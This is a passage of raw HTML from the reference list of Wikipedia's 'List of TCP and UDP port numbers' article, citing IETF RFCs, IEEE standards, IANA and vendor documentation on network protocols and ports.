title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Service+Name+and+Transport+Protocol+Port+Number+Registry&amp;rft.pub=Internet+Assigned+Numbers+Authority&amp;rft_id=https%3A%2F%2Fwww.iana.org%2Fassignments%2Fservice-names-port-numbers%2Fservice-names-port-numbers.xhtml%3Fsearch%3D465&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-theregister-2018-02-01-rfc8314-89\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-theregister-2018-02-01-rfc8314_89-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFChirgwin2018\" class=\"citation news cs1\">Chirgwin, Richard (2018-02-01). <a rel=\"nofollow\" class=\"external text\" href=\"https://www.theregister.co.uk/2018/02/01/ietf_attacks_cleartext_email/\">\"Who can save us? It's 2018 and some email is still sent as cleartext\"</a>. <i><a href=\"/wiki/The_Register\" title=\"The Register\">The Register</a></i>. Situation Publishing. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20180201081823/https://www.theregister.co.uk/2018/02/01/ietf_attacks_cleartext_email/\">Archived</a> from the original on 2018-02-01<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2018-04-18</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=article&amp;rft.jtitle=The+Register&amp;rft.atitle=Who+can+save+us%3F+It%27s+2018+and+some+email+is+still+sent+as+cleartext&amp;rft.date=2018-02-01&amp;rft.aulast=Chirgwin&amp;rft.aufirst=Richard&amp;rft_id=https%3A%2F%2Fwww.theregister.co.uk%2F2018%2F02%2F01%2Fietf_attacks_cleartext_email%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1340-90\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-rfc1340_90-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-rfc1340_90-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.ietf.org/rfc/rfc1340.txt\">\"RFC 1340, Assigned Numbers\"</a>. IETF<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=&#82;FC+1340%2C+Assigned+Numbers&amp;rft.pub=IETF&amp;rft_id=http%3A%2F%2Fwww.ietf.org%2Frfc%2Frfc1340.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-oreilly-fire-2ndEd-91\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-oreilly-fire-2ndEd_91-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFZwickyCooperChapman2000\" class=\"citation book cs1\">Zwicky, Elizabeth D.; Cooper, Simon; Chapman, D. Brent (June 2000) [1st pub. 1995]. <a rel=\"nofollow\" class=\"external text\" href=\"http://docstore.mik.ua/orelly/networking_2ndEd/fire/ch16_07.htm\">\"Internet Message Access Protocol (IMAP)\"</a>. <span class=\"cs1-lock-registration\" title=\"Free registration required\"><a rel=\"nofollow\" class=\"external text\" href=\"https://archive.org/details/buildinginternet00zwic/page/16\"><i>Building Internet Firewalls</i></a></span> (Second&#160;ed.). <a href=\"/wiki/O%27Reilly_Media\" title=\"O&#39;Reilly Media\">O'Reilly</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://archive.org/details/buildinginternet00zwic/page/16\">16.7</a>. <a href=\"/wiki/ISBN_(identifier)\" class=\"mw-redirect\" title=\"ISBN (identifier)\">ISBN</a>&#160;<a href=\"/wiki/Special:BookSources/978-1-56592-871-8\" title=\"Special:BookSources/978-1-56592-871-8\"><bdi>978-1-56592-871-8</bdi></a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-27</span></span>. <q>...&#160;IMAP over SSL currently uses port 993, but an earlier convention uses port 585.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Internet+Message+Access+Protocol+%28IMAP%29&amp;rft.btitle=Building+Internet+Firewalls&amp;rft.pages=16.7&amp;rft.edition=Second&amp;rft.pub=O%27Reilly&amp;rft.date=2000-06&amp;rft.isbn=978-1-56592-871-8&amp;rft.aulast=Zwicky&amp;rft.aufirst=Elizabeth+D.&amp;rft.au=Cooper%2C+Simon&amp;rft.au=Chapman%2C+D.+Brent&amp;rft_id=http%3A%2F%2Fdocstore.mik.ua%2Forelly%2Fnetworking_2ndEd%2Ffire%2Fch16_07.htm&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-92\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-92\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.ietf.org/rfc/rfc4409.txt\">\"RFC 4409, <i>Message Submission for Mail</i>\"</a>. IETF<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=&#82;FC+4409%2C+Message+Submission+for+Mail&amp;rft.pub=IETF&amp;rft_id=http%3A%2F%2Fwww.ietf.org%2Frfc%2Frfc4409.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-93\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-93\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.ietf.org/rfc/rfc3620.txt\">\"RFC 3620, The TUNNEL Profile\"</a>. IETF<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=&#82;FC+3620%2C+The+TUNNEL+Profile&amp;rft.pub=IETF&amp;rft_id=http%3A%2F%2Fwww.ietf.org%2Frfc%2Frfc3620.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-94\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-94\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.ietf.org/proceedings/04mar/I-D/draft-ietf-dhc-failover-12.txt\">INTERNET DRAFT, DHCP Failover Protocol</a> (expired: September 2003)</span>\n</li>\n<li id=\"cite_note-95\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-95\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://tools.ietf.org/rfc/rfc3632.txt\">\"RFC 3632, VeriSign Registry Registrar Protocol (RRP) Version 2.0.0\"</a>. IETF<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=&#82;FC+3632%2C+VeriSign+Registry+Registrar+Protocol+%28RRP%29+Version+2.0.0&amp;rft.pub=IETF&amp;rft_id=http%3A%2F%2Ftools.ietf.org%2Frfc%2Frfc3632.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-96\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-96\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://standards.ieee.org/reading/ieee/std_public/new_desc/storage/1244.3-2000.html\">\"IEEE Standard (1244.3-2000) for Media Management System (MMS) Media Management Protocol (MMP)\"</a>. IEEE. 2001-04-26<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=IEEE+Standard+%281244.3-2000%29+for+Media+Management+System+%28MMS%29+Media+Management+Protocol+%28MMP%29&amp;rft.pub=IEEE&amp;rft.date=2001-04-26&amp;rft_id=http%3A%2F%2Fstandards.ieee.org%2Freading%2Fieee%2Fstd_public%2Fnew_desc%2Fstorage%2F1244.3-2000.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-97\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-97\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.redbooks.ibm.com/redpapers/pdfs/redp4061.pdf\">\"Integrated Virtualization Manager on IBM System p5\"</a> <span class=\"cs1-format\">(PDF)</span>. IBM<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Integrated+Virtualization+Manager+on+IBM+System+p5&amp;rft.pub=IBM&amp;rft_id=http%3A%2F%2Fwww.redbooks.ibm.com%2Fredpapers%2Fpdfs%2Fredp4061.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-98\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-98\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://standards.ieee.org/reading/ieee/std_public/new_desc/storage/1244.2-2000.html\">\"IEEE Standard (1244.2-2000) for Media Management Systems (MMS) Session Security, Authentication, Initialization Protocol (SSAIP)\"</a>. IEEE. 2000-12-07<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=IEEE+Standard+%281244.2-2000%29+for+Media+Management+Systems+%28MMS%29+Session+Security%2C+Authentication%2C+Initialization+Protocol+%28SSAIP%29&amp;rft.pub=IEEE&amp;rft.date=2000-12-07&amp;rft_id=http%3A%2F%2Fstandards.ieee.org%2Freading%2Fieee%2Fstd_public%2Fnew_desc%2Fstorage%2F1244.2-2000.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-99\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-99\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.ietf.org/rfc/rfc4204.txt\">\"RFC 4204, Link Management Protocol\"</a>. IETF<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=&#82;FC+4204%2C+Link+Management+Protocol&amp;rft.pub=IETF&amp;rft_id=http%3A%2F%2Fwww.ietf.org%2Frfc%2Frfc4204.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-100\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-100\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://tools.ietf.org/rfc/rfc3981.txt\">\"RFC 3981, IRIS: The Internet Registry Information Service (IRIS) Core Protocol\"</a>. IETF<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=&#82;FC+3981%2C+IRIS%3A+The+Internet+Registry+Information+Service+%28IRIS%29+Core+Protocol&amp;rft.pub=IETF&amp;rft_id=http%3A%2F%2Ftools.ietf.org%2Frfc%2Frfc3981.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-101\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-101\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.verisign.com/research/Internet_Registry_Information_Service/index.html\">Internet Registry Information Service (IRIS)</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20090201065757/http://www.verisign.com/research/Internet_Registry_Information_Service/index.html\">Archived</a> February 1, 2009, at the <a href=\"/wiki/Wayback_Machine\" title=\"Wayback Machine\">Wayback Machine</a></span>\n</li>\n<li id=\"cite_note-102\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-102\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.ietf.org/proceedings/02nov/I-D/draft-ietf-crisp-iris-beep-00.txt\">\"Internet-Draft, Using the Internet Registry Information Service (IRIS) over the Blocks Extensible Exchange Protocol (BEEP)\"</a>. IETF<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Internet-Draft%2C+Using+the+Internet+Registry+Information+Service+%28IRIS%29+over+the+Blocks+Extensible+Exchange+Protocol+%28BEEP%29&amp;rft.pub=IETF&amp;rft_id=http%3A%2F%2Fwww.ietf.org%2Fproceedings%2F02nov%2FI-D%2Fdraft-ietf-crisp-iris-beep-00.txt&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-103\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-103\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFKatzDavieRekhterRosen1997\" class=\"citation web cs1\">Katz, Dave; Davie, Bruce S.; Rekhter, Yakov; Rosen, Eric C.; Doolan, Paul (1997-05-27). <a rel=\"nofollow\" class=\"external text\" href=\"http://tools.ietf.org/html/draft-doolan-tdp-spec-00\">\"Tag Distribution Protocol Internet-Draft\"</a>. <i>IETF</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=IETF&amp;rft.atitle=Tag+Distribution+Protocol+Internet-Draft&amp;rft.date=1997-05-27&amp;rft.aulast=Katz&amp;rft.aufirst=Dave&amp;rft.au=Davie%2C+Bruce+S.&amp;rft.au=Rekhter%2C+Yakov&amp;rft.au=Rosen%2C+Eric+C.&amp;rft.au=Doolan%2C+Paul&amp;rft_id=http%3A%2F%2Ftools.ietf.org%2Fhtml%2Fdraft-doolan-tdp-spec-00&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-104\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-104\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://archive.today/20120919085146/http://www.patentstorm.us/patents/7286529-claims.html\">\"United States Patent 7286529, Discovery and tag space identifiers in a tag distribution protocol (TDP)\"</a>. Patentstorm.us. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://www.patentstorm.us/patents/7286529-claims.html\">the original</a> on 2012-09-19<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=United+States+Patent+7286529%2C+Discovery+and+tag+space+identifiers+in+a+tag+distribution+protocol+%28TDP%29&amp;rft.pub=Patentstorm.us&amp;rft_id=http%3A%2F%2Fwww.patentstorm.us%2Fpatents%2F7286529-claims.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-105\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-105\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.cisco.com/en/US/products/sw/iosswrel/ps1820/prod_bulletin09186a0080091d01.html\">Cisco IOS Software Release 11.1CT New Features</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20120118075409/http://www.cisco.com/en/US/products/sw/iosswrel/ps1820/prod_bulletin09186a0080091d01.html\">Archived</a> January 18, 2012, at the <a href=\"/wiki/Wayback_Machine\" title=\"Wayback Machine\">Wayback Machine</a></span>\n</li>\n<li id=\"cite_note-106\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-106\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www.ciscosystems.ch/en/US/docs/ios/12_0s/feature/guide/fsldp22.html#wp1517250\">Cisco IOS Software Releases 12.0 S, MPLS Label Distribution Protocol (LDP)</a><sup class=\"noprint Inline-Template\"><span style=\"white-space: nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Link_rot\" title=\"Wikipedia:Link rot\"><span title=\"&#160;Dead link tagged March 2015\">dead link</span></a></i>&#93;</span></sup></span>\n</li>\n<li id=\"cite_note-107\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-107\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://archive.today/20170519181328/https://patentscope.wipo.int/search/en/detail.jsf?docId=WO2004056056\">\"ARRANGEMENT IN A ROUTER OF A MOBILE NETWORK FOR OPTIMIZING USE OF MESSAGES CARRYING REVERSE ROUTING HEADERS\"</a>. <a href=\"/wiki/World_Intellectual_Property_Organization\" title=\"World Intellectual Property Organization\">WIPO</a> (published 2004-07-01). 2003-12-11. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://patentscope.wipo.int/search/en/detail.jsf?docId=WO2004056056\">the original</a> on 2017-05-19<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-05-19</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=ARRANGEMENT+IN+A+ROUTER+OF+A+MOBILE+NETWORK+FOR+OPTIMIZING+USE+OF+MESSAGES+CARRYING+REVERSE+ROUTING+HEADERS&amp;rft.pub=WIPO&amp;rft.date=2003-12-11&amp;rft_id=https%3A%2F%2Fpatentscope.wipo.int%2Fsearch%2Fen%2Fdetail.jsf%3FdocId%3DWO2004056056&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-mbap-s-108\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-mbap-s_108-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://modbus.org/docs/MB-TCP-Security-v21_2018-07-24.pdf\">\"MODBUS/TCP Security Protocol Specification\"</a> <span class=\"cs1-format\">(PDF)</span>. Modbus Organisation Inc<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2019-07-25</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=MODBUS%2FTCP+Security+Protocol+Specification&amp;rft.pub=Modbus+Organisation+Inc.&amp;rft_id=http%3A%2F%2Fmodbus.org%2Fdocs%2FMB-TCP-Security-v21_2018-07-24.pdf&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc4210-109\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc4210_109-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFAdamsFarrellKauseMononen2005\" class=\"citation cs1\">Adams, Carlisle; Farrell, Stephen; Kause, Tomi; Mononen, Tero (September 2005). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc4210\"><i>Internet X.509 Public Key Infrastructure Certificate Management Protocol (CMP)</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC4210\">10.17487/RFC4210</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc4210\">4210</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-11-10</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Internet+X.509+Public+Key+Infrastructure+Certificate+Management+Protocol+%28CMP%29&amp;rft.pub=IETF&amp;rft.date=2005-09&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC4210&amp;rft.aulast=Adams&amp;rft.aufirst=Carlisle&amp;rft.au=Farrell%2C+Stephen&amp;rft.au=Kause%2C+Tomi&amp;rft.au=Mononen%2C+Tero&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc4210&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-110\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-110\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.adobe.com/devnet/flashplayer/articles/socket_policy_files.html\">\"Setting up a socket policy file server\"</a>. Adobe.com. 2008-04-14<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Setting+up+a+socket+policy+file+server&amp;rft.pub=Adobe.com&amp;rft.date=2008-04-14&amp;rft_id=https%3A%2F%2Fwww.adobe.com%2Fdevnet%2Fflashplayer%2Farticles%2Fsocket_policy_files.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-111\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-111\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc9250#section-8.2\">\"Reservation of a Dedicated Port\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc9250\"><i>DNS over Dedicated QUIC Connections</i></a>. May 2022. sec.&#160;8.2. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC9250\">10.17487/RFC9250</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc9250\">9250</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2022-06-12</span></span>. <q>Description: DNS query-response protocol run over DTLS or QUIC</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Reservation+of+a+Dedicated+Port&amp;rft.btitle=DNS+over+Dedicated+QUIC+Connections&amp;rft.pages=sec.-8.2&amp;rft.date=2022-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC9250&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc9250%26%23035%3Bsection-8.2&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-vmware-kb-1022256-112\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-vmware-kb-1022256_112-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-vmware-kb-1022256_112-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20161006035518/https://kb.vmware.com/kb/1022256\">\"vCenter Server 4.1 network port requirements\"</a>. <i>VMware Knowledge Base</i>. 2014-07-29. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://kb.vmware.com/kb/1022256\">the original</a> on 2016-10-06<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-06</span></span>.</cite><span 